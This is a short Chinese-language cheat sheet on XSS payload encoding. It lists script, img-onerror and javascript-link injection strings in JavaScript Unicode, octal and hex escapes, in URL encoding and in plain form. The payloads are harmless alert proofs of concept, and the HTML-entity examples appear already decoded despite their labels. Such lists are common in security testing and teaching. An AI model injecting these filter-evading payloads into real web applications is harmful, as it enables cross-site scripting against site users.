一、JS编码与HTML编码区分:
HTML实体可以使用十进制与十六进制编码;javascript可以使用Unicode与八进制与十六进制进行编码。
二、编码原理区分:
三、编码与非编码
对于JS编码:
1.<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029");</script>(JS Unicode编码)
2. <script>eval("\141\154\145\162\164\50\57\170\163\163\57\51");</script>(JS八进制编码)
3.<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");</script>(JS十六进制编码)
对于HTML编码:
1. <img src=1 onerror="alert(1)"> (HTML实体十进制编码)
2. <img src=1 onerror="alert(/xss/)"> (HTML实体十六进制编码)
对于URL编码:
1.%3Cscript%3Ealert(%2Fxss%2F)%3Cscript%3E
2. %3Cimg%20src%3D1%20onerror%3Dalert(%2Fxss%2F)%3E
3. %3Ca%20href%3D'javascript%3Aalert(%2Fxss%2F)'%3Eclick%20me%3C%2Fa%3E
对于非编码:
1.<script>alert(/xss/)</script>
2. <img src=1 onerror=alert(/xss/)>
3. <a href='javascript:alert(/xss/)'>click me</a>